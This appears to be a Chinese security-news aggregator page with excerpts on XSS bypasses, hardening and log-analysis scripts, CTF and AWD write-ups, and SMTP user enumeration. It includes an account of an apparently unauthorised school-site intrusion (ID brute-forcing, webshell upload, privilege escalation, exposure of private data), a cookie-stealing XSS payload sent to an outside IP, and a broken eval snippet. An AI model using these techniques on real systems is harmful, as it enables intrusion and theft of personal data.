经验分享:XSS的新利用方式 安全文章

经验分享:XSS的新利用方式

转自SecTr安全团队XSS,跨站脚本攻击(Cross Site Scripting),是一种经常出现在Web应用中的计算机安全漏洞。攻击者可以利用这种漏洞在网站上注入恶意的Script代码。当用户浏览该页面时,嵌入网页中的Script代码会被执行,从而达到恶意攻击用户的目的。下文将列举一些XSS的新利用方式:1. 在脚本中嵌入脚本 :有时,当你运行一个简单的脚本时,可能如下图所示什么都没发生:这时,可以试试在脚本中嵌入脚本:2. 不指定alert():有时,开发人员会过滤如alert之类的词。为了绕过该限制,可以使用JavaScript的eval和String.fromCharCode。即可在不指定alert的情况下弹出窗口。你只需要查看ascii表以进行编码。为此,只需在终端中输入以下命令。注意示例中将使用十进制值进行字符编码。所以,让我们根据表中给出的值开始编码。例如a=97、l=108、e=101等等......并将编码的内容写在下面: <script>eval(String.fromCharCode(alert(“HACKER”)))</script>3. 通过串联:在这里,我们只是跳出框框并应用我们的逻辑,这始终是最佳选择,如下所示:4. 利用信任:有时开发人员会因为信任用户提供的路径而犯一个常见错误,而它可以用来触发XSS,如下所示:我们只需向URL添加随机路径,并提供有效载荷,便成功触发了。有意思的是,404和500页面更容易受到这种攻击。反弹shell汇总渗透测试中字典生成工具快速检测常见中间件、组件的高危漏洞一个迷你的信息泄漏批量扫描脚本信息收集|漏洞挖掘|内网打穿|清理痕迹常用工具 列表webshell大合集K8工具合集Struts2全漏洞扫描利用工具欢迎关注LemonSec觉得不错点个“赞”、“在看”哦 本文始发于微信公众号(LemonSec):经验分享:XSS的新利用方式
阅读全文
【渗透实战系列】18-手动拿学校站点 得到上万人的信息(漏洞已提交) 安全文章

【渗透实战系列】18-手动拿学校站点 得到上万人的信息(漏洞已提交)

涉及知识点社工爆破burpsuite抓包上传木马绕过提权、进后台昨天有个朋友问我能不能拿一个学校的站。我说学校的一般做的挺好的,都是外包,加了waf,安全狗,360之类的。他坚持让我试试,他说卡了很久没拿下。想着在家也无事做就去试试玩。首先用了动态代理,怕有抓IP的脚本检测。然后点看了学校的官网。界面做的不错,还有一些小的渲染动画。然后在页面找到了搜索栏,输了一个 ‘ 没有报错,一看就是过滤不严。只是提示了结构中没有这个模板然后随便在主页上点开了一个页面发现了可注入的地方,尝试’ 页面是空白And 1=1And 1=2都是同上,sqlmap扫描了一下,发现拿不到库。在搜索栏试了一下XSS跨站脚本,几个弹窗口,嵌入页面。都是未果。最后,把脚本用base和url编码了也不行。正准备放弃的时候,发现主页下方有几个模块。其中有个是查询成绩的,就点进去试试看。惊了,发现了很low的登陆页面。随便点了学生登陆惊了,发现居然没有验证码。省了个脚本。然而看下说明,居然把学号格式都说清楚了。。害下面还有要用IE也是醉了。接着用python生成了一个1-9999号的学号序列。然后打开burp,先把上游代理配置好,我把动态IP的本地端口设在1235,burp上游设置好,设置截断代理。截断代理设置1234,把chrome的代理也设置好。好了以后,截断打开对了,这里的burp最好用pro版。因为要用我们自己做的学号字典爆破。好了,打开了截断,提交一下页面的表单学号输入123密码1234到burp抓包发现提交的参数中还有个ip的参数,还有来自(laizi) 接了一串编码的字符,果断改掉输了一个日本的ip不过我们有动态ip也不怕检测其实,但是为了安全性和后期做跳板后门还是把它本地的改掉好了以后放到intruder这里把密码设置成123456感觉会有更多人使用接着把username 设为载荷变量把线程调制15,太高怕对方有流量检测接着把字典导入。开始爆破,到1000号左右的时候抓了到2个,我没等它继续跑了。两个够用了,接着用学号和密码进入系统发现有上传照片,于是把php写的小马祭出。在上传页面发现有格式检测。于是把php木马镶嵌到目标照片中上传抓包。把包的格式改成了xxx.jpg.php上传,结果弹出错误的图片格式,302.接着我又试了其他方法感觉效果并不好,又因为后面提示需要管理员审核,所以放弃了这条思路。(后来使用内嵌脚本成功了。然后同样的方法进入了教职工的后台,发现有上传成绩资料之类的信息。于是,果断上马。小马加大马,成功上传。接着在成功上传的页面又抓了个包,找到了文件的上传路径,(就叫upload…好吧用菜刀一连接就进了,打开后台管理,上了提权脚本和后门程序。接着关掉菜刀,直接进后台了。后台界面可以改学生照片,更新学籍信息,还有成绩和等级评分还有大量隐私信息。感觉这管理员太不负责了吧。整个过程耗时10分钟不到,关键过程的截图已经略去。希望大家学习技术和思路就好,切勿进行违法犯罪的活动。本实战案例仅作为技术分享,切勿在未经许可的任何公网站点实战。————————————————作者:Taneeyo引用链接:https://blog.csdn.net/Taneeyo/article/details/104538082推荐阅读:渗透实战系列▶【渗透实战系列】|17-巧用fofa对目标网站进行getshell▶【渗透实战系列】|16-裸聊APP渗透测试▶【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点▶【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试▶【渗透实战系列】|13-waf绕过拿下赌博网站▶【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局▶【渗透实战系列】|11 - 赌博站人人得而诛之▶【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)▶【渗透实战系列】|9-对境外网站开展的一次web渗透实战测试(非常详细,适合打战练手)▶【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)▶【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例▶【渗透实战系列】|6- BC杀猪盘渗透一条龙(文末附【渗透实战系列】其他文章链接)▶【渗透实战系列】|5-记一次内衣网站渗透测试▶【渗透实战系列】|4-看我如何拿下BC站的服务器▶【渗透实战系列】|3-一次简单的渗透▶【渗透实战系列】|2-记一次后门爆破到提权实战案例▶【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)长按-识别-关注Hacking黑白红一个专注信息安全技术的学习平台点分享点收藏点点赞点在看 本文始发于微信公众号(Hacking黑白红):【渗透实战系列】18-手动拿学校站点 得到上万人的信息(漏洞已提交)
阅读全文
Linux&Windows基线检查加固脚本 安全闲碎

Linux&Windows基线检查加固脚本

最近在做系统安全基线检查相关的,网上找了一些脚本以及群友分享的。整理下分享给大家:首先是Linux的shell加固脚本#!/bin/bash#设置密码复杂度if < -z "`cat /etc/pam.d/system-auth | grep -v "^#" | grep "pam_cracklib.so"`" >;then sed -i '/password required pam_deny.so/apassword required pam_cracklib.so try_first_pass minlen=8 ucredit=-1 lcredit=-1 ocredit=-1 dcredit=-1 retry=3 difok=5' /etc/pam.d/system-authfi#密码输入失败3次,锁定5分钟sed -i 's#auth        required      pam_env.so#auth        required      pam_env.sonauth       required       pam_tally.so  onerr=fail deny=3 unlock_time=300nauth           required     /lib/security/$ISA/pam_tally.so onerr=fail deny=3 unlock_time=300#' /etc/pam.d/system-auth#修改默认访问权限sed -i '/UMASK/s/077/027/' /etc/login.defs#设置重要文件目录权限chmod 644 /etc/passwd chmod 600 /etc/xinetd.conf chmod 600 /etc/inetd.conf chmod 644 /etc/group chmod 000 /etc/shadow chmod 644 /etc/services chmod 600 /etc/security#chmod 750 /etc/ #启动了nscd服务导致设置权限以后无法登陆 #系统默认755可以接受 #不能修改,如果修改polkit的服务就启动不了chmod 750 /etc/rc6.d chmod 750 /tmp chmod 750 /etc/rc0.d/ chmod 750 /etc/rc1.d/ chmod 750 /etc/rc2.d/ chmod 750 /etc/rc4.d chmod 750 /etc/rc5.d/ chmod 750 /etc/rc3.d chmod 750 /etc/rc.d/init.d/...
阅读全文
安全事件自动化响应框架设计 安全文章

安全事件自动化响应框架设计

前言       在日常网络安全运营中,调查服务器主机是否被入侵是绕不开的工作。常见的调查动作就是在主机上执行脚本,批量执行命令将基础数据拉取出来,并做一些简单的规则判断,以便快速确认主机是否已被入侵成功。       在实际工作中,被调查主机通常是生产正在运行的服务器,在调查过程中就会发现存在以下几个问题:安全运营人员具有主机的权限不高,无法获取全面的基础信息,往往需要主机运维人员介入;检测规则不能太复杂否则可能会因为性能问题影响正常业务;固定的检测脚本很难应对不同的调查场景,遇到存疑入侵点而脚本又不能覆盖的,需要反复在主机执行命令;受限于生产环境是最小化部署,意味着平常用的趁手的非内置模块无法加载,限制脚本能力;缺乏统一平台对采集的基础数据进行二次处理、归档、展示,影响调查效率及证据收集;     上述这些问题直接影响安全事件调查和响应的效率,影响平均检测时间(MTTD)、平均响应时间(MTTR)指标,尤其在是在重保期间,需要调查事件太多,留给每个事件调查的时间就不多了。       为了应对在上述不足,应该构建一套应急响应系统框架,这个框架纳入整个安全技术检测体系中,是安全运营建设中一部分,具备自动化检测、友好展示、方便回溯、快速查看、灵活定制等特点。        为此需要设计一套技术框架,通过更优雅的方式来实现应急响应能力。框架设计       在应急响应系统设计,有几个关键步骤:数据采集:需要脚本在被调查主机上执行脚本,获取系统状态快照;脚本执行:脚本能够推送到目标,完成执行动作,并将执行结果返回到统一服务器;数据解析:后台服务器接收返回的数据,这些数据只是字符串,还需要对字符串解析成结构化数据,才能进行存储和分析;数据分析与归档:对获取到数据,以友好的方式展示,并能够进行字段关联,实现分析能力;能够对结果统一归档保存;       每个步骤都应该要有相应的模块做能力支撑,最终实现统一平台。因此可以有如下的框架图:脚本设计       在被调查主机上执行脚本是整个调查分析关键的第一步,所以在脚本需求上,需要仔细斟酌。       考虑到应急响应场景,更多的是在确认主机是否沦陷,这是一个人工排查过程,需要主机上操作系统和应用服务的基础数据供分析人员判断和决策,好比“专家模式”肯定会比“简单模式”显示更多的信息,所以脚本采集的最终数据应该以基础数据为主。       其次,考虑到应急响应千差万别,可以不同的响应处理类型需要不同类型的数据,这就要求脚本是能够灵活定义的,能够适应不同的情况,也可以尽可能降低脚本开发和维护难度;       最后,被调查的主机通常的是生产的主机,是在生产环境中执行命令,要保证采集内容是可靠的、安全的。这就要求在采集执行动作是系统能够执行的,例如采集命令是标准模块,保证最小化部署的主机也具备相应的执行能力,其次,执行命令多多少少都会对系统产生一定影响,就要求所有执行都应该简单高效,降低对主机性能的影响。       综上,脚本设计应该考虑:能够采集原始基础数据,最少应该包括进程、网络、文件、账号等基础信息;脚本代码和采集规则分离,以规则文件形式定义采集内容,并对常见的采集方式规则化处理;主机执行的脚本仅做数据采集,不在逻辑检测。代码与规则分离       目前所看到大部分的应急响应工具都是强耦合,一条命令对应一条检测规则,检测多条规则需要执行多条命令,脚本代码不能重用,随着累计应急响应不同场景的增加,只能不断累加代码,最终导致代码臃肿,后期维护难度巨大;       采用代码与规则分离后,采集内容和采集执行命令分开,将每个采集的具体动作“原子化”,这样就可以在约定规则内重用代码,应对不同响应场景,只需要调整采集规则即可。更为重要的是,规则化的脚本,还可以针对不同的SOP场景执行不同的采集数据要求,可以更好的贴近自动化处置理念,相比之前的一坨坨代码和检测逻辑混合的脚本,以规则方式定义能够更直观查看数据采集方式、采集方式;       要做到代码和规则,需要做以下几步:定义采集方式:使用什么方式获取数据,以及执行的具体内容定义输出方式:在前者采集完成后,是否需要下一步的再处理,例如获取到的文件列表,是否要继续获取文件内容;定义解析方式:解析方式与采集方式或格式输出有关,具体的解析方式需要在后端单独实现       例如,可以设计这样一个采集规则: 1- id: C0031 2  name: 获取执行文件状态/usr/bin 3  description: 获取执行文件状态/usr/bin 4  category: sysenv 5  source: 6    action: 7      method: stdout 8      from: "find /usr/bin/* | xargs stat" 9  parser:10    method: command_stat       这条规则是yaml格式,关键的内容在source和parser两个字段内,source定义了采集数据的方式,action表示这条规则采集的动作,比如例子中的stdout表示的是执行命令,具体是什么命令是由后面的from字段来定义的,例子中的find /usr/bin/* | xargs stat表示执行shell命令获取/usr/bin/*目录下所有文件的状态。parser定义的是对采集的数据解析的处理方法,这个方法是在服务端定义并执行的,不同数据采集方式需要不同的解析方法来对应,解析方法目的就是把字符串内容解析成结构化的数据,以便能够完成检索、存储功能。     为了便于后续的维护和分析处理,还设计了name、description、category几个字段,可以一目了然规则作用。      以上例子只是列出其中一部分“原子化”的操作,例如还有遍历目录、读取文件、条件过滤等操作,也是可以一块被定义的。       在实际运行中,脚本会先加载数据采集的规则文件,解析规则文件内容,最终按照规则来采集数据。当把常见的采集动作都“原子化”后,基础的脚本就不需要变更了,后续维护只需要维护对应的规则即可。执行平台       脚本方案有了,接着要解决的是执行的问题。       对于主机数量非常大的组织,应该统一运维管理平台,再不济也应该有批量运维工具,安全运营人员应该借助组织内已有的运维基础能力,去执行检测方案。如果组织内没有,那可以考虑使用ssh远程执行的方式实现。      执行方式:组织内自研的统一运维平台,这个平台可以统一推送并执行脚本;开源的自动化运维工具,例如 ansible、saltstack、puppet;使用ssh远程命令执行;       上述3种执行方式视实际生产环境而定,最佳实践方式是依托组织内运维部门所提供的工具或平台来执行,最大降低安全部门的运维管理成本。数据解析       被调查主机按照预定的规则执行完脚本后,需要上传数据,由于在采集步骤不对数据处理,就需要在后端根据parser所指定的方法解析成结构化数据。               举个例子:        在主机上执行脚本会包含ps -ef命令,这个命令可以输出当前系统状态,就像下面这样子的:...
阅读全文
AWD的攻与防(附攻防脚本) CTF专场

AWD的攻与防(附攻防脚本)

先说几点经验:1、分配的是ctf低权限账号,但是中间件运行的是www-data权限,通常比ctf权限高,有些马用ssh上去删不掉,可以先传个自己的shell然后去删,当然得做一个防止被偷家的措施,比如说加一个if ("xxx"===md5(key))的操作。也可以用www-data去对文件和目录做权限的修改等操作。2、黑吃黑,直接用别的队伍上传的shell。3、不是特别大型的比赛没有那么多的时间去审漏洞,通常用nday直接打,或者内置的shell后门。4、批量拿flag并自动提交平台;自动备份与恢复自己的靶机文件。主要放两个脚本,一个攻一个防,网上找了很多都感觉多多少少有点问题。AWD线下赛防守脚本:1.该脚本基于python,可直接在linux靶机上运行。2.开局直接运行起来,会自动对web目录进行备份,并建立hash索引。当web目录下有文件被删除或者被篡改的时候,会自动从备份中恢复文件。如果存在其他文件上传,会自动删除。3.无法避免的缺点:由于条件竞争,如果对方在我们删除shell之前就已经在内存中开始生成不死马了,还是有一定几率沦陷。# -*- coding: utf-8 -*-## awd文件监控脚本# author:说书人import osimport jsonimport timeimport hashlibdef ListDir(path): # 获取网站所有文件 for file in os.listdir(path): file_path = os.path.join(path, file) if os.path.isdir(file_path): if initialization == 'false': dir_list.append(file_path) else: dir_list_tmp.append(file_path) ListDir(file_path) else: if initialization == 'false': file_list.append(file_path) else: file_list_tmp.append(file_path)def GetHash(): # 获取hash,建立索引 for bak in file_list: with open(bak, 'rb') as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() bak_dict = hash if os.path.exists('/tmp/awd_web_hash.txt') == False: os.system('mkdir /tmp/awd_web_bak/') os.system('\cp -a {0}* /tmp/awd_web_bak/'.format(web_dir)) with open('/tmp/awd_web_hash.txt', 'w') as f: # 记录web文件hash f.write(str(json.dumps(bak_dict))) for i in file_list: # 记录web文件列表 with open('/tmp/awd_web_list.txt', 'a') as f: f.write(i + 'n') for i in dir_list: #...
阅读全文
Nginx日志安全分析脚本 安全闲碎

Nginx日志安全分析脚本

nginx_log_checkNginx日志安全分析脚本功能统计Top 20 地址SQL注入分析扫描器告警分析漏洞利用检测敏感路径访问文件包含攻击Webshell寻找响应长度的url Top 20寻找罕见的脚本文件访问寻找302跳转的脚本文件Usage设置报告保存地址 outfile设置日志分析目录 access_dir设置日志名称 access_log./nginx_check.sh参考nmgxyklionsec作者:al0ne脚本下载地址:https://github.com/al0ne/nginx_log_check 原文始发于微信公众号(HACK之道):Nginx日志安全分析脚本
阅读全文
web漏洞挖掘指南 -XSS跨站脚本攻击 安全文章

web漏洞挖掘指南 -XSS跨站脚本攻击

一、漏洞原理1. 跨站脚本英文全称(Cross Site Scripting跨站脚本),为了不和css层叠样式表(英文全称:Cascading Style Sheets)混淆,因此将跨站脚本缩写为XSS。产生XSS漏洞根本原因其实是web应用未对用户的输入进行严格的过滤和转义,导致攻击者可从正常的输入功能注入脚本代码,我常将xss攻击理解为一种javascript注入,当带有xss恶意代码的页面被其他用户访问到时,js便会被执行,js脚本可以执行很多操作,比如:窃取用户cookie,读取用户键盘记录,截屏,恶意跳转等,甚至可以结合BEEF的hook.js钩子劫持用户浏览器。二、XSS漏洞检测0x1公认XSS有三种类型:反射型、存储型、dom型。根据字面意思很好区分三者,反射型即服务器根据用户当前输入做出的响应,只能触发一次,这个过程就像一次反射。因此市面上大多self-xss都来自反射型xss,攻击者输入xss脚本,输出仅自己看到,仅xss到自己,常在查询、搜索等功能出现。0x2存储型xss即页面保存了攻击者输入的恶意代码,除非对应记录被删除,否则可以一直触发xss,常在留言、个人信息登记等功能出现。0x3dom型xss比较独特,它涉及的两个层次不是服务器端和浏览器端,而是浏览器端的JavaScript层和HTML层。换种更好理解的说法也就是:从服务器脚本变成了客户端脚本,dom xss的payload不需要服务端解析响应,而是靠浏览器的dom解析,因此dom-xss的触发是抓不到请求包的。漏洞示例xss.html:    <html>    <body>            <div id="tr1"></div>            <script>                    document.getElementById("tr1").innerHTML = unescape(location.hash);            </script>    </body>    </html>0x4xss漏洞检测用弹窗进行测试即可,常见的几种弹窗方法:alert()、confirm()、prompt()、console.log()。测试时,尽量结合各种xss类型的特征对功能点进行验证,除了大家常说的“有框即插(看见输入框就盲插xss payload)”,还需注意请求中的各种参数,是否可以原样输出或者以html代码的形式保存到了另一个页面。三、XSS漏洞利用0x1上文提到过,xss的本质其实是js代码的注入,所以XSS漏洞的危害来源于js代码执行,最常见的就是盗取用户cookie,但是在实际场景中我们经常会遇到cookie设置httponly属性导致无法通过js脚本读取的情况,这时还可以读取用户键盘记录,截屏,恶意跳转等,甚至可以结合BEEF的hook.js钩子劫持用户浏览器。0x2以最简单的盗取cookie的payload为例,先用python搭建web服务充当xss平台:0x3然后在存有xss漏洞的位置传入payload:<script>document.location=’http://192.168.123.24?’+document.cookie;</script>0x4上述payload先用document.cookie获取了用户cookie,然后利用document.location进行跳转,这样客户端就会携带document.cookie的值访问xss平台,通过xss平台的web日志即可查看对应记录:0x5市面上的xss平台其实已经编写出很多成熟的xss利用模板了,js代码操作不熟练的师傅可以直接套用xss平台的模板:Markdown XSS0x1Markdown 是一种轻量级标记语言,它允许人们使用纯文本格式编写文档。通过简单的文本方式标记就能指定格式,轻轻松松完成文档的编辑。markdown语言从文本-指定格式的转换过程可以看作一系列的html转换,最终以html标签的形式存储在页面上,因此markdown编辑器也可能出现XSS漏洞。0x2插入超链接:0x3除了插入超链接,我们还可以参照常规的XSS payload进行尝试,比如、等标签。参考案例:http://www.52bug.cn/hkjs/3292.htmlhttps://mp.weixin.qq.com/s/7Qa4o0sYfJei07K3mjL-GA五、上传PDF导致的XSS0x1之前在论坛上看到过有师傅通过把xss代码加到pdf文件,然后通过正常的文件上传功能传至目标服务器中,利用浏览器自带的pdf阅读功能触发xss,这类漏洞还是会有部分厂商会确认的,参考文章:https://www.t00ls.cc/thread-48480-1-1.htmlhttps://www.t00ls.cc/articles-62790.htmlpdf文件还是很少被禁止上传的,众测项目中可以尝试此类测试。0x2利用条件:1.有pdf文件上传点 2.保存好的pdf文件可以直接浏览器查看,而不是只能下载至本地。0x3python脚本一键生成带有xss代码的pdf文件:    from PyPDF2 import PdfFileWriter    file = PdfFileWriter()    file.addJS('app.alert("XSS");')    output = open('xss.pdf', 'wb')    file.write(output)xss和markdown xss的fuzz字典可以点击查看原文附件自取【火线短视频精选】【周度激励】2021.10.4 ~ 2021.10.10公告【相关精选文章】【招人专区】 原文始发于微信公众号(火线Zone):web漏洞挖掘指南 -XSS跨站脚本攻击
阅读全文
脚本小子如何使用GitHub 安全闲碎

脚本小子如何使用GitHub

0x00 前言hello大家好,看题目就知道又是小黑写不完文章随便水的一周。虽然这篇文章很基础,但对新手应该还是有点用处的,大佬请绕路吧。(水文章了,但没完全水)0x01 GitHub介绍GitHub网址:https://www.github.com/GitHub是基于Git版本控制系统的开源代码托管仓库,开发者可以把自己的代码放上去分享给大众。脚本小子是指不会写代码,不懂原理,只会用别人开发的工具来攻击他人系统的初学者。小黑目前就是个脚本小子,正在向成为黑客的道路上努力。由以上可知,github对脚本小子来说就是个大宝库,虽然脚本小子不会写代码,但完全不影响使用,这篇文章就介绍下github在不用写代码情况下的基本使用方法。由于国内特殊网络环境,GitHub有时也会变得“不存在”,但不同于google这种"完全不存在"的网站,GitHub是介于存在和不存在之间的量子态。访问不了时试试换个手机热点、换个设备、换个时间也许就能打开了……0x02 搜索功能既然是宝库,首先就要学会如何搜索宝库中的宝藏。访问github后首先点右上角的Sign Up注册一个账号吧,虽然没有账号也能用,但是登陆状态下能搜索出更多的结果。注册登陆后,就可以在左上角的搜索框进行搜索了,github都可以搜索到什么东西呢?(1)搜索工具脚本小子最擅长的就是使用别人的工具了,输入你的需求关键词,即可在github中找到相应的工具。红圈的位置是对应工具的star数量,类似于点赞数。要小心github上的工具有可能是恶意的木马,没有辨别能力的新手尽量挑选star数大于100的工具使用哦。很多知名的流行的工具的发源地也是github,在这里可以下载到这些工具最新的官方版本。比如sqlmap、oneforall、冰蝎、哥斯拉等。(2)搜索漏洞poc学习了一个漏洞,但没能力写出利用脚本?那可以来github上碰碰运气,这里是很多漏洞poc的第一手来源。直接搜索漏洞名或cve编号试试吧。和工具一样,使用别人写好的poc时要注意安全性的问题,利用star数量辨别是一种方式。但很多冷门漏洞的poc,star数量就是不会很高。如果不能确定的情况下可以先在虚拟机里做个测试。(3)搜索源码这才是github最正经的功能,当你做项目时收集到目标使用了某个开源或商业系统,都可以来github上搜一下,开源项目几乎100%能搜索到。流行的商业源码也有概率会有人放出来。在不知道系统名称的情况下,还可以搜索系统的一些关键特征或接口,然后在Code栏中也许能找得到(一般翻两三页就够了),商业源码一般直接搜名称都搜不到,要这样找才行。(4)搜索资产或敏感信息部分程序员安全意识很差,可能将内部的源码放到github上保存,里面能定位到目标的资产信息或敏感信息(数据库密码等)。直接搜索目标名或域名有可能找到这类信息。在小黑做过的实际项目中,这种情况还蛮多的。有的公司的程序员会直接用github做协同开发,更有甚者将github当成网盘来使用,公司员工的简历和信息都存放在上面。不过攻防是一体的,有攻击方式也会有相应的防御手段。目前已有很多安全厂商会故意在github上放假信息引导攻击者进入蜜罐,关于这点还是要注意辨别哦。(5)高级搜索语法正如许多成熟的搜索引擎一样,GitHub有一套高级搜索语法,熟练使用可以更有效率的定位到自己想要的信息。完整的有不少人总结过了,可以去搜索“github高级搜索语法”寻找。这里就举两个例子:language:编程语言 关键词 (限定搜索结果的编程语言)stars:>数量 关键词 (限定搜索结果的star数量)0x03 下载功能搜索到自己想要的工具、源码或者信息,自然要下载下来,点开项目——点击绿色的Code按钮——点击 Download ZIP就可以把整个项目下载到本地。对于解释型语言的项目比如java或者python,把源码下载到本地,有对应环境就可以直接运行。但是编译型语言如go或c怎么办呢,难道要下载下来自行编译吗?确实是这样的,不过有些作者可能也考虑到脚本小子的自身情况(不会写代码,可能也不会编译)。提供了编译好的可执行文件让你直接下载。点进一个项目,右侧的releases如果有东西那就是作者提供的编译好的文件啦。点进去之后可以直接点击文件名下载。同样受限于国内网络环境,有时能浏览项目不代表能下载东西,或者下载速度特别慢。这时可以寻找一些github加速网站去下载。我这里给大家提供一个:https://ghproxy.com/使用方法:右键复制github的下载链接直接拼接到这个域名后面。https://ghproxy.com/https://github.com/shack2/SNETCracker/releases/download/1.0.20190715/V1.0.Beta28.20190715.zip0x04 互动功能看到一个好的工具对自己很有帮助,想感谢一下开发者?那就点个star吧~点完star除了能鼓励开发者,也可以在右侧点击自己头像,在Your stars中可以看到自己点赞过的所有项目。其实也相当于一个收藏的功能。使用工具过程中出现bug,或者有好的想法想反馈给开发者?那可以在项目页面提个issue,这是一个可以和开发者沟通的功能。作为“全球最大的同性交友网站”,自然也会有follow(关注)功能,找到你喜欢的开发者加个关注吧。0x05 后记无END.喵,点个赞再走吧~ 本文始发于微信公众号(小黑的安全笔记):脚本小子如何使用GitHub
阅读全文
一文详解企业级Shell脚本编程!(建议收藏) 安全工具

一文详解企业级Shell脚本编程!(建议收藏)

今天给大家分享一份《企业级 Shell 脚本编程实战手册》,全文共9章70页,对 shell 脚本编程基础、基本结构、bash 的配置文件、流程控制、函数、工具、数组、字符串处理、高级变量等内容做了详细的讲解。内容详实,图文并茂,从基础概念到实战练习,手把手教你快速掌握shell脚本编程。【领取方式见文末!!】【领取方式见文末!!】目录编程基础程序:算法+数据结构数据:是程序的核心算法:处理数据的方式数据结构:数据在计算机中的类型和组织方式shell脚本语言的基础结构shell脚本的用途shell脚本基本结构创建shell脚本过程脚本注释规范第一个脚本脚本调试变量格式化输出printf算术运算逻辑运算条件测试命令关于()和{}组合测试条件使用read命令来接受输入bash的配置文件按生效范围划分为两类shell登录两种方式分类按功能划分分类编辑配置文件生效bash退出任务流程控制条件选择循环函数介绍管理函数函数调用函数返回值环境函数函数参数函数变量函数递归其他脚本相关工具信号捕捉trap创建临时文件mktemp安装复制文件install交互式转化批处理工具expect数组数组介绍声明数组数组赋值显示所有数组引用数组删除数组数组数据处理关联数组范例字符串处理字符串切片查找替换查找并删除字符大小写转换高级变量高级变量复制高级变量用法变量间接引用由于篇幅原因,不一一给大家截图了,需要的朋友识别下方二维码回复“shell”即可领取网盘链接和提取码!(识别回复后100%发给大家) 本文始发于微信公众号(Linux学习):一文详解企业级Shell脚本编程!(建议收藏)
阅读全文
新版edusrc用户数据统计脚本【开源&分享】 安全工具

新版edusrc用户数据统计脚本【开源&分享】

点击蓝字关注我们TRAVEL开源脚本与解释思路与解释      本公众号由于种种原因更新比较慢,不过力求少而精,尽可能不水(当然水文也不少)      打包下载地址在后面,如有不会的地方或者需要配置,可联系作者协助解决。QQ:417230867(仅限空闲时间)演示如下:执行脚本执行后会在当前目录生成【ID】.html文件打开文件(这个页面模板是自己写的,后面我会发出来)脚本如下:#Create:2021/03/08#Update:2021/03/09#公众号:墨雪飘影#公众号:F12sec#QQ:417230867from pyecharts.charts import Page,Pie,Barfrom pyecharts import options as optsfrom pyecharts.globals import CurrentConfigCurrentConfig.ONLINE_HOST = "https://cdn.jsdelivr.net/npm/[email protected]/dist/"import requestsimport re#使用新方法'''import matplotlib.pyplot as pltimport matplotlib.pyplot as plt2'''low=0mid=0high=0critical=0name=''percent=0.0#定义漏洞类型和数量bugsName=bugsCount=#定义漏洞等级和数量bugsLevel=print(' __ ____ _________ __')print(' | \/ \ \ / / __ \ \ / /')print(' | \ / |\ V /| |__) \ \_/ / ')print(' | |\/| | > < | ___/ \ / ')print(' | | | |/ . \| | | | ')print(' |_| |_/_/ \__| |_| ')print()print('本工具仅适用于未登录情况!(当然工具压根就没有登录,这是废话,但是要说)')id=input('请输入用户ID:')for i in range(1,999):#此处设置为999为了不用控制页数,使用try进行中断 userHomeUrl='https://src.sjtu.edu.cn/profile/'+id+'/?page='+str(i) backInfo=requests.get(userHomeUrl) #print(backInfo.text) try: #终止循环 break_str='?page='+str(i) #if backInfo.text.find(break_str)==-1: if backInfo.text.find(break_str)==-1 and i!=1:#完成后修改,防止页数不足一页而跳出循环 print('第'+str(i)+'页,不存在,循环终止!') break #正则规则中保留尖括号为了提高准确率,防止匹配到用户昵称和用户签名 r_name=r'<title>.+ 的个人中心' r_total=r'总提交漏洞数量:.+'...
阅读全文
验证邮箱用户是否存在 安全博客

验证邮箱用户是否存在

说明 原理: 使用smtp RCPT TO 指令,存在返回250状态码,邮箱地址不存在,返回550状态码(感谢klion指点) 第一版仅作邮件地址是否存在校验 如果提示554 Your access to this mail system has been rejected due to the sending MTA's poor reputation 之类字样,当前请求IP信誉不佳请尝试更换服务器, 如aliyun,azure,Amazon之类服务运行该脚本 关于exchange 接口可用metasploit-framework auxiliary/scanner/msmail/onprem_enum 模块 请勿用于非法用途,本脚本仅用作技术研究 待完成功能: 字典批量验证 多线程批量验证 支持SMTP/SSL 问题: 多次登录会不会被纳入信誉不佳? 可不可以一次登录,发送多次 RCPT TO:xxx,会不会超时? 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145# -*- coding: utf-8 -*-import dns.resolverimport argparsefrom socket import *import randomdef ColorPrint(string="", flag="", verbose=""): colors = { u"gray": "2", u"red": "31", u"green": "32", u"yellow": "33", u"blue": "34", u"pink": "35", u"cyan": "36", u"white": "37", } flags = { u"error": " ", u"warning": " ", u"info": " ", u"success": " ", u"debug": ">>> ", u"echo": ">>> " } try: if flag ==...
阅读全文
2021 第五空间 ctf wp CTF专场

2021 第五空间 ctf wp

点击蓝字 ·  关注我们Misc签到flag{welcometo5space}alpha10分离得到两个图⽚,⼀个jpg⼀个png,两张图⼀样,想到可能是盲⽔印https://github.com/chishaxie/BlindWaterMark.git⽤脚本解密得到盲⽔印看不清楚,⽤在线ps调了个颜⾊flag{XqAe3QzK2ehD5fWv8jfBitPqHUw0}BabyMi先将流量包中usb数据导出解了⼀下16进制数据 发现了⼀些磁盘结构,写脚本转为磁盘⽂件from binascii import unhexlifyf=open("1.txt","r")diskfile=f.readlines()filecode=""for a in diskfile: if len(a) !=1: filecode+=unhexlify(a)g=open("disk","wb")g.write(filecode)⽤r-studio去扫描磁盘找到⼀个 mp4flag在mp4中CryptoECC第⼀部分,直接在sage⾥⾯⽤离散对数进⾏求解就可以出 第⼆部分参考 cnhongke的exp,可以把P的阶分解成⼏个⼩的质数和⼀个⼤数,⼤数⾜够⼤,所以可以⽤中国剩余定理解出来前⼏个,然后对最后⼀个⼤数 算⼀下范围,再解⼀个新的ecdlp就可以 第三部分是⽤点p的阶是p在⽹上找了个SmartAttack就出了expfrom Crypto.Util.number import *p = 146808027458411567A = 46056180B = 2316783294673E = EllipticCurve(GF(p), )P = E(119851377153561800, 50725039619018388, 1)Q = E(22306318711744209, 111808951703508717, 1)print(long_to_bytes(discrete_log(Q, P, operation='+')))p = 1256438680873352167711863680253958927079458741172412327087203A = 377999945830334462584412960368612B = 604811648267717218711247799143415167229480E = EllipticCurve(GF(p),)P = 